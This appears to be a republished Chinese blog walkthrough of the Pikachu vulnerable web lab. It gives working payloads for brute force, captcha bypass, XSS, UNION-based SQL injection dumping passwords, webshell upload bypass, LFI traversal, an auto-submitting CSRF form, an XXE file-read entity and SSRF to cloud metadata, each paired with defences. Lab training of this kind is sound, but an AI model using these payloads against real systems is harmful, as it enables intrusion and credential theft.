当前位置: 首页 > news >正文

从Pikachu靶场通关看Web安全实战:一个新手如何用Burp Suite和PHPStudy复现所有漏洞(附完整Payload)

从Pikachu靶场通关看Web安全实战:新手如何用Burp Suite和PHPStudy复现漏洞

第一次打开Pikachu靶场时,面对密密麻麻的漏洞类型列表,我完全不知道从何下手。作为一个刚接触Web安全的新手,那些专业术语和Payload看起来就像天书。但经过两周的实战摸索,我发现只要掌握正确的方法,每个漏洞都能被拆解成可理解的模块。本文将分享我是如何从零开始,逐步攻克这个经典靶场的完整过程。

1. 环境搭建与工具准备

在开始实战前,确保你的本地环境已经正确配置。我使用的是Windows 10系统,配合PHPStudy搭建的Apache+MySQL环境。以下是关键组件的版本信息:

工具名称版本号作用说明
PHPStudy8.1.0.3本地Web服务器集成环境
Burp Suite2023.6.2抓包与漏洞利用工具
Pikachu靶场v1.0Web安全实战训练平台

安装过程中最容易出错的环节是PHPStudy的端口冲突问题。如果遇到Apache无法启动的情况,可以尝试以下命令排查:

netstat -ano | findstr "80" taskkill /PID [占用进程ID] /F

Burp Suite的配置需要特别注意代理设置。在ProxyOptions选项卡中,确保添加了监听地址127.0.0.1:8080,并在浏览器中安装CA证书。我最初因为证书问题导致HTTPS流量无法解密,后来通过以下步骤解决:

  1. 访问http://burp下载证书
  2. 在浏览器证书管理器导入证书
  3. 勾选"信任此证书颁发机构"

提示:Burp的拦截功能(Intercept)默认是开启状态,新手常会困惑为什么页面加载卡住,记得在不需要时关闭拦截开关。

2. 暴力破解漏洞实战解析

2.1 基础表单爆破

这是Pikachu靶场最简单的漏洞类型,但蕴含了暴力破解的核心原理。通过Burp抓取登录请求后,我发现了三个关键点:

  • 请求体中直接包含明文用户名和密码
  • 服务器响应长度随认证结果变化
  • 无任何频率限制或锁定机制

具体操作流程:

  1. 在靶场页面输入任意凭证(如test/123)
  2. 通过Burp捕获POST /vul/burteforce/bf_form.php请求
  3. 右键选择Send to Intruder
  4. Positions标签设置爆破点为username和password字段
  5. 加载常用字典(如rockyou.txt精简版)
POST /vul/burteforce/bf_form.php HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded username=§test§&password=§123§&submit=Login

爆破成功后,通过对比响应长度(Length列)即可识别有效凭证。这个案例让我理解了为什么弱密码策略如此危险——没有防护的登录接口就像不上锁的大门。

2.2 验证码绕过技巧

当遇到验证码防护时,新手往往会束手无策。Pikachu靶场设计了两种典型的验证码漏洞:

服务器端验证码复用(on server)

  • 关键缺陷:验证通过后未销毁session中的验证码值
  • 利用方法:保持Burp捕获的原始验证码参数不变,直接进行爆破

客户端验证码校验(on client)

  • 关键缺陷:仅依赖前端JavaScript验证
  • 利用方法:删除请求中的vcode参数或置空

注意:现代网站更多采用图形验证码+Token的双重防护,单纯的验证码已不能提供足够安全性。

3. XSS漏洞深度剖析

3.1 反射型XSS的攻防演变

在反射型XSS(get)关卡,我首次遇到了前端长度限制。通过Chrome开发者工具(F12)修改input标签的maxlength属性后,成功注入经典payload:

<script>alert(document.cookie)</script>

但更值得关注的是源码层面的缺陷。查看vul/xss/xss_reflected_get.php发现:

<?php $message = $_GET['message']; echo '<div>'.$message.'</div>'; ?>

这种直接将用户输入拼接进HTML的做法,是XSS漏洞的典型根源。防御方案至少应包括:

  • 使用htmlspecialchars()函数转义
  • 设置Content Security Policy(CSP)头
  • 实施输入白名单过滤

3.2 存储型XSS的持久化威胁

存储型XSS与反射型的最大区别在于恶意脚本会被保存到数据库。在Pikachu靶场中,我使用了图片标签的payload:

<img src=1 onerror=alert(1)>

这种攻击的危害性更大,因为所有访问受影响页面的用户都会中招。通过Burp观察到的请求流程:

  1. 提交含XSS代码的留言
  2. 服务器将内容存入数据库
  3. 其他用户查看留言时自动加载恶意脚本

防御这类攻击需要在数据存储前进行净化处理,推荐使用OWASP的AntiSamy等专业过滤库。

4. SQL注入实战技巧

4.1 数字型注入的完整利用链

Pikachu的数字型注入点出现在下拉菜单,需要通过Burp修改参数。我的手工注入过程如下:

  1. 探测注入点:id=1'引发错误→存在注入
  2. 判断类型:id=2-1返回与id=1相同→数字型
  3. 查字段数:order by 2成功→order by 3失败→2个字段
  4. 联合查询:id=-1 union select 1,2-- -确定回显位
  5. 获取信息:id=-1 union select user(),database()-- -
-- 获取表名 id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- - -- 获取users表字段 id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'-- - -- 提取账号密码 id=-1 union select group_concat(username),group_concat(password) from users-- -

4.2 字符型注入的特殊处理

字符型注入需要处理引号闭合问题。在Pikachu的搜索型注入关卡,有效payload为:

allen' and 1=1-- -

这里的单引号用于闭合原SQL语句中的引号,注释符-- -用于忽略后续语法。这种注入的防御必须使用参数化查询,而非简单的字符串转义。

5. 文件上传与包含漏洞

5.1 绕过客户端校验

Pikachu的客户端校验关卡演示了前端验证的不可靠性。我的绕过步骤:

  1. 准备PHP webshell文件
  2. 重命名为shell.png
  3. 上传时通过Burp修改文件名回shell.php
  4. 访问上传路径执行代码
POST /vul/unsafeupload/clientcheck.php HTTP/1.1 ... Content-Disposition: form-data; name="uploadfile"; filename="shell.php"

5.2 文件包含的利用技巧

本地文件包含(LFI)漏洞允许读取系统敏感文件。通过路径遍历成功获取了系统信息:

http://localhost/vul/fileinclude/fi_local.php?filename=../../../../Windows/System32/drivers/etc/hosts

更危险的是,如果服务器同时存在文件上传功能,可以上传包含PHP代码的图片,然后通过LFI执行:

http://localhost/vul/fileinclude/fi_local.php?filename=./uploads/malicious.jpg

防御措施包括:

  • 禁用allow_url_include
  • 严格限制包含路径
  • 使用白名单校验包含文件

6. CSRF与越权漏洞实战

6.1 CSRF攻击的自动化生成

Burp Suite的CSRF PoC生成器极大简化了攻击流程。在Pikachu的CSRF(post)关卡:

  1. 捕获修改个人信息的POST请求
  2. 右键选择Engagement toolsGenerate CSRF PoC
  3. 生成的HTML页面包含自动提交表单
  4. 诱使受害者访问该页面即完成攻击
<form action="http://localhost/vul/csrf/csrfpost/csrf_post_edit.php" method="POST"> <input type="hidden" name="sex" value="hacker" /> <input type="hidden" name="phonenum" value="123456789" /> <input type="hidden" name="add" value="hacker" /> <input type="hidden" name="email" value="hacker@example.com" /> <input type="submit" value="Submit request" /> </form> <script>document.forms[0].submit();</script>

6.2 越权访问的两种形态

水平越权案例中,仅修改URL中的username参数就能查看他人信息:

http://localhost/vul/overpermission/op1/op1_mem.php?username=lucy

垂直越权更危险,普通用户通过直接访问管理员URL获得了特权功能:

http://localhost/vul/overpermission/op2/op2_admin_edit.php

防御越权的关键是实施严格的权限校验,遵循最小权限原则。每个请求都应验证:

  • 当前用户身份
  • 请求的资源所属
  • 操作权限级别

7. 其他关键漏洞类型

7.1 XXE漏洞的利用与防御

XML外部实体(XXE)漏洞允许读取本地文件甚至实现SSRF。Pikachu的payload示例:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts"> ]> <user><username>&xxe;</username></user>

防御措施包括:

  • 禁用DTD外部实体
  • 使用libxml_disable_entity_loader(true)
  • 验证XML输入结构

7.2 SSRF的利用场景

服务器端请求伪造(SSRF)可以探测内网服务。通过修改URL参数成功获取了百度首页:

http://localhost/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com

更危险的利用是访问内网元数据服务:

http://169.254.169.254/latest/meta-data/

防御SSRF需要:

  • 过滤所有用户提供的URL
  • 禁用非常用协议(如file://, gopher://)
  • 设置请求目标白名单

8. 防御体系构建建议

经过Pikachu靶场的全面实战,我总结出Web应用安全的几个核心防御层:

  1. 输入验证层:所有用户输入都应视为不可信数据

    • 实施白名单校验
    • 严格类型转换
    • 边界值检查
  2. 输出编码层:根据输出上下文采用不同编码

    • HTML实体编码(& -> &amp;
    • JavaScript Unicode转义
    • URL百分号编码
  3. 安全配置层

    // PHP安全配置示例 ini_set('session.cookie_httponly', 1); ini_set('session.cookie_secure', 1); header("Content-Security-Policy: default-src 'self'");
  4. 权限控制层

    • 基于角色的访问控制(RBAC)
    • 业务逻辑权限校验
    • 敏感操作二次认证

在后续的真实项目审计中,我养成了从这三个维度系统化分析漏洞的习惯,而不再是零散地测试单个攻击点。这种结构化思维才是安全工程师的核心能力。

http://www.cnnetsun.cn/news/2724878.html

相关文章:

  • 除了超级马里奥,你还可以用Docker一键部署这些经典网页游戏(红白机模拟器合集)
  • ECG情绪识别避坑指南:WESAD和DREAMER数据集实战中的5个常见误区
  • 告别网盘限速:九大平台通用直链下载助手终极指南
  • AI建站工具选型指南:哪种方案最适合你的商用官网?
  • 纯Python手写BP网络拟合二元函数并生成3D对比曲面图
  • Claude Opus 4.8来了:Anthropic为何能在同一天“模型升级 + 估值反超OpenAI”?
  • 人大与北京智源打造的“赋格曲“式智能体协作系统
  • Android面试冲刺资料包:Java根基、组件原理、JVM机制与性能调优实战要点
  • 保姆级避坑指南:斐讯N1刷Armbian装CasaOS最全排错手册(从U盘启动失败到Cpolar隧道配置)
  • 计算机毕业设计之基于spark的电商零售交易数据分析系统的设计与实现
  • Windows下用Python调用海康SDK控制摄像头:登录、实时画面、截图和光学变倍
  • 告别鼠标拖拽:用Python脚本全自动控制Gazebo里的UR机械臂(MoveIt+ROS实战)
  • 杰理之清除TWS配对的功能(恢复出厂设置)【篇】
  • 浏览器脚本自动化革命:为什么ScriptCat是提升效率的终极选择?
  • STM32F103C8数控DC-DC电源完整开发包|含0.1V步进调压KEIL工程、全外设驱动源码与可烧录镜像
  • 交通预测的“ImageNet”来了?拆解LargeST数据集,看它如何解决模型泛化与时间分布外(OOD)挑战
  • 抄作业了!用ESP8266+BL0942做个能远程监控的智能插座(附完整代码和PCB文件)
  • 让 AI 拥有“岗前培训“——企业知识库 Skill 的四层知识 + 五步采集 + 30KB 阈值架构
  • 保姆级教程:在Ubuntu 22.04上从源码编译FLEXPART-WRF(含依赖库避坑指南)
  • 零基础掌握ncmdump:3分钟解锁网易云音乐NCM文件播放限制
  • 保姆级教程:用PyCharm+Python3.8一步步搞定TransUNet医学图像分割(附完整代码与数据集处理避坑指南)
  • 快速原型设计:基于快马ai生成vmware虚拟机集群搭建脚本
  • 乘客蓝牙名设为“BOMB”,美联航航班紧急返航,航空安全盲区引关注
  • 新手避坑:用Requests库爬中国大学MOOC时,这几个反爬和编码问题你遇到了吗?
  • RK3568开发板USB接口配置实战:从硬件引脚到设备树,手把手教你搞定USB Host与OTG
  • 天气 API 接入实战:基于 ApiZero 实现实时天气、分钟级降水和 15 天预报查询
  • 近缓存计算加速后量子密码算法的架构设计与优化
  • 微信数据库解密终极指南:3步快速恢复你的聊天记录
  • AI辅助开发新思路,让快马平台智能优化你的页面永久更新策略
  • 别再到处找LiTS17数据集了!我整理了百度云下载链接和nii转PNG的完整代码